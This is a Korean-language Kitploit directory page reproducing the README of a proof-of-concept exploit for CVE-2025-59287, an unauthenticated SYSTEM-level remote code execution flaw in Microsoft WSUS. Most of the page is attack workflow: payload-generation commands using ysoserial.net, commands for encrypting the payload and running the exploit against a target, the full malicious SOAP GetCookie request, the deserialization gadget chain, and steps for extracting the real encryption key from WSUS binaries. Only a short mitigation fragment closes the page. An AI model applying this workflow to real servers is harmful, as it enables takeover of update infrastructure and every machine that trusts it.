Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-59287-exploit-poc — CVE-2025-59287에 대한 개념 증명 익스플로잇으로, 안전하지 않은 BinaryFormatter 역직렬화를 통해 WSUS에서 인증 없이 원격 코드 실행(RCE)을 달성하며, 조작된 암호화 쿠키를 통해 SYSTEM 권한을 획득합니다. | Kitploit
도구/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

CVE-2025-59287에 대한 개념 증명 익스플로잇으로, 안전하지 않은 BinaryFormatter 역직렬화를 통해 WSUS에서 인증 없이 원격 코드 실행(RCE)을 달성하며, 조작된 암호화 쿠키를 통해 SYSTEM 권한을 획득합니다.

저장소 보기
11511개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-59287 개념 증명 익스플로잇

취약점 개요

CVE-2025-59287은 Microsoft Windows Server Update Services(WSUS)의 치명적인 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 EncryptionHelper.DecryptData() 메서드에서 BinaryFormatter를 통한 AuthorizationCookie 데이터의 안전하지 않은 역직렬화로 인해 발생합니다.

영향: 인증되지 않은 공격자는 GetCookie() 엔드포인트에 악성 암호화 쿠키를 전송하여 SYSTEM 권한으로 원격 코드 실행을 달성할 수 있습니다.

CVSS 점수: 치명적(9.8)

취약점 세부 정보

  • 영향을 받는 구성 요소: WSUS ClientWebService.asmx GetCookie() 엔드포인트
  • 근본 원인: 적절한 검증 없이 신뢰할 수 없는 입력에 대해 BinaryFormatter.Deserialize() 호출
  • 공격 벡터: GetCookie() SOAP 엔드포인트로 전송된 악성 암호화 쿠키
  • 필요한 인증: 없음 (인증되지 않은 RCE)
  • 영향을 받는 포트: 8530(HTTP), 8531(HTTPS)

아키텍처

┌─────────────────┐
│   공격자        │
│                 │
│  1. BinaryFmt   │
│     페이로드    │
│     생성        │
│                 │
│  2. 페이로드    │
│     암호화      │
│                 │
│  3. SOAP 요청   │
│     전송        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   WSUS 서버     │
│                 │
│  GetCookie()    │
│  엔드포인트     │
│                 │
│  DecryptData()  │◄─── 취약
│                 │
│  BinaryFormatter│◄─── 안전하지 않은 역직렬화
│  Deserialize()  │
│                 │
│  페이로드 실행  │◄─── SYSTEM 권한 RCE
└─────────────────┘

파일 구조

exploit-poc/
├── wsus_exploit.py                    # 메인 익스플로잇 스크립트
├── BinaryFormatterPayloadGenerator.cs # .NET 페이로드 생성기(C#)
├── encrypt_payload.py                 # WSUS 암호화 헬퍼
├── requirements.txt                   # Python 의존성
└── README.md                          # 이 파일

사전 요구 사항

Python 환경

pip install -r requirements.txt

.NET Framework(페이로드 생성용)

  • .NET Framework 4.0 이상이 설치된 Windows
  • 또는 대안으로 ysoserial.net 사용

사용 방법

방법 1: 전체 워크플로우

1단계: BinaryFormatter 페이로드 생성

옵션 A: 제공된 C# 생성기 사용

# 생성기 컴파일
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# 페이로드 생성
BinaryFormatterPayloadGenerator.exe calc.exe
# 생성: payload_YYYYMMDDHHMMSS.bin

옵션 B: ysoserial.net 사용(권장)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

2단계: 페이로드 암호화

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

중요: encrypt_payload.py의 암호화 키는 자리 표시자입니다. 실제 익스플로잇을 위해서는 다음을 수행해야 합니다:

  1. WSUS 바이너리에서 실제 암호화 키를 리버스 엔지니어링
  2. 실제 키로 encrypt_payload.py 업데이트
  3. 아래 "WSUS 암호화 키 찾기" 섹션 참조

3단계: 익스플로잇 실행

# 페이로드 파일 사용(즉시 암호화)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# 사전 암호화된 쿠키 사용
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# HTTPS 사용(포트 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

방법 2: 빠른 테스트

# 생성, 암호화, 익스플로잇을 한 번에
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin

실제 WSUS 암호화 키 찾기

실제 익스플로잇을 위해서는 암호화 키를 반드시 WSUS 바이너리에서 추출해야 합니다.

방법 1: dnSpy로 리버스 엔지니어링

  1. WSUS DLL 찾기:

    %ProgramFiles%\Update Services\WebServices\bin\
    

    또는 IIS 웹 디렉터리:

    %SystemDrive%\inetpub\wwwroot\wsusadmin\
    
  2. dnSpy에서 열기(무료 .NET 디컴파일러):

    • 다운로드: https://github.com/dnSpy/dnSpy
    • Microsoft.UpdateServices.WebServices.dll 열기
  3. EncryptionHelper 검색:

    • Microsoft.UpdateServices.WebServices 네임스페이스로 이동
    • EncryptionHelper 클래스 찾기
    • DecryptData() 및 EncryptData() 메서드 확인
    • 암호화 키와 알고리즘 추출
  4. 일반적인 패턴:

    • 하드코딩된 바이트 배열
    • 문자열 상수
    • 머신 GUID/SID에서 키 파생

방법 2: 런타임 분석

  1. WinDbg 또는 x64dbg 사용:

    • EncryptionHelper.DecryptData()에 중단점 설정
    • 키 자료를 위해 메모리/레지스터 검사
    • 암호화/복호화 작업 모니터링
  2. Process Monitor 사용:

    • WSUS 프로세스로 필터링
    • 레지스트리/구성 파일 액세스 확인
    • 키가 레지스트리에 저장될 수 있음

방법 3: 정적 분석

  1. IDA Pro 또는 Ghidra 사용:

    • WSUS 바이너리 로드
    • 암호화 관련 문자열 검색
    • 키 파생 알고리즘 분석
  2. strings 유틸리티 사용:

    strings Microsoft.UpdateServices.WebServices.dll | grep -i key
    strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
    

익스플로잇 업데이트

실제 키를 확보한 후 encrypt_payload.py를 업데이트합니다:

# encrypt_wsus_cookie()에서 이 줄을 교체:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # 자리 표시자

# 실제 키로 교체:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

또는 명령줄로 전달:

python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

익스플로잇 흐름

┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter 페이로드 생성                             │
│    ObjectDataProvider → Process.Start() → 명령 실행          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. 페이로드 암호화                                           │
│    WSUS 암호화 키로 AES-128-CBC                              │
│    전송을 위해 Base64 인코딩                                 │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP 요청 생성                                           │
│    AuthorizationCookie 헤더에 암호화된 페이로드 포함          │
│    SOAP 본문의 GetCookie() 메서드                            │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. WSUS 엔드포인트로 전송                                    │
│    POST /ClientWebService/ClientWebService.asmx              │
│    포트 8530(HTTP) 또는 8531(HTTPS)                          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS 처리                                                 │
│    DecryptData()가 쿠키 복호화                               │
│    BinaryFormatter.Deserialize()가 페이로드 실행             │
│    → SYSTEM 권한 RCE                                         │
└─────────────────────────────────────────────────────────────┘

SOAP 요청 구조

POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
        <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
        </AuthorizationCookie>
    </soap:Header>
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieType>AuthorizationCookie</cookieType>
        </GetCookie>
    </soap:Body>
</soap:Envelope>

페이로드 생성 세부 정보

익스플로잇은 ObjectDataProvider 가젯 체인을 사용합니다:

ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };

BinaryFormatter.Deserialize()가 이를 처리하면 자동으로:

  1. ObjectDataProvider 역직렬화
  2. ObjectInstance(Process)에서 MethodName("Start") 호출
  3. MethodParameters(ProcessStartInfo) 전달
  4. SYSTEM 권한으로 명령 실행

테스트 체크리스트

  • BinaryFormatter 페이로드 생성
  • WSUS 암호화 키 추출/식별
  • 올바른 키로 페이로드 암호화
  • WSUS 엔드포인트 접근 가능 여부 확인
  • 악성 쿠키로 SOAP 요청 전송
  • 대상에서 명령 실행 확인
  • 격리된 실험실 환경에서 테스트

제한 사항

  1. 암호화 키: 자리 표시자 키는 실제 시스템에서 작동하지 않습니다. 실제 키를 추출해야 합니다.
  2. BinaryFormatter 페이로드: 생성하려면 .NET Framework 또는 ysoserial.net이 필요합니다.
  3. 네트워크 액세스: WSUS 엔드포인트(포트 8530/8531)에 네트워크 액세스가 있어야 합니다.
  4. WSUS 버전: WSUS 버전에 따라 동작이 다를 수 있습니다.

완화 조치

즉시 조치

  1. Microsoft 보안 업데이트 적용: 즉시 패치
    • Microsoft 보안 권고 확인
    • WSUS를 패치된 버전으로 업데이트
도구 다운로드